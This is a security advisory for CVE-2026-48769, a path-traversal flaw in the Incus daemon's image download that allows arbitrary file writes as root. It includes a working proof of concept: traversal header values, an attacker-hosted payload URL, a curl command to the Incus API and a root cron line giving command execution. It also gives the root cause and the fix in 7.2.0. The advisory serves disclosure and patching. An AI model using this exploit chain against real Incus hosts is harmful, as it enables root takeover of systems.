CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash Header
A malicious image server can trick the Incus daemon into writing attacker-controlled content to any file on the host, including cron jobs, by returning a path-traversal sequence in the HTTP…
The problem
When a user posts source.type=url to POST /1.0/images, incusd HEADs the supplied URL and blindly trusts the Incus-Image-Hash response header as the download fingerprint. That value is passed directly into imageDownload() as the fp (fingerprint) variable.
Inside daemon_images.go, fp is joined with destDir via filepath.Join(destDir, fp) with no sanitisation. The resulting destName is opened with os.Create() and the HTTP response body is streamed into it before any SHA-256 check runs. An attacker-controlled hash of ../../../../etc/cron.d/evil therefore creates and populates an arbitrary host file as root.
Proof of concept
A working proof-of-concept for CVE-2026-48769 in github.com/lxc/incus/v7/cmd/incusd, with the exact payload below.
# 1. Attacker runs a server that answers HEAD /stage with traversal headers:
# Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
# Incus-Image-URL: http://attacker:8088/payload
# GET /payload returns the cron line below (kept open to delay cleanup).
# 2. Trigger from any machine with access to the Incus Unix socket or API:
curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST \
-H 'Content-Type: application/json' \
-d '{
"source": {
"type": "url",
"url": "http://attacker:8088/stage"
},
"public": false
}' \
http://incus/1.0/images
# Content written to /etc/cron.d/incus-direct-image-url-rce by the daemon:
# * * * * * root /bin/sh -c 'id > /tmp/incus-direct-image-url-rce'The root cause is that fp defaults to the caller-supplied alias string (daemon_images.go:91-92) and is never validated before it is passed to filepath.Join(destDir, fp) at line 333. filepath.Join does not prevent traversal: a value like ../../../../etc/cron.d/evil resolves cleanly to a path outside destDir.
The SHA-256 integrity check at lines 528-532 runs only after os.Create() and the full response copy have already completed, so the write happens unconditionally. The fix in 7.2.0 adds a filepath.Clean check immediately after fp is set: if the cleaned path does not have destDir as a prefix, the download is aborted before the file is ever opened.
CWE-22 (Path Traversal) is the precise classification. Because incusd runs as root and cron files written to /etc/cron.d/ execute within seconds, the arbitrary write trivially escalates to arbitrary command execution on the host.
The fix
Upgrade incusd to **Incus 7.2.0** or later. The patch validates fp with filepath.Clean and confirms the resolved destination is still inside destDir before calling os.Create(). No configuration workaround exists for earlier versions; restrict API access to trusted operators as a partial mitigation.
Related research
- critical · 9.9CVE-2026-48755CVE-2026-48755: Incus Argument Injection in Backup Compression Leading to Arbitrary File Write and RCE
- critical · 9.9CVE-2026-48753CVE-2026-48753: Incus S3 Multipart Upload Path Traversal to Arbitrary File Write
- critical · 9.9CVE-2026-48749CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image
- critical · 9.9CVE-2026-48751CVE-2026-48751: Incus Restricted Project Bypass via Snapshot Restore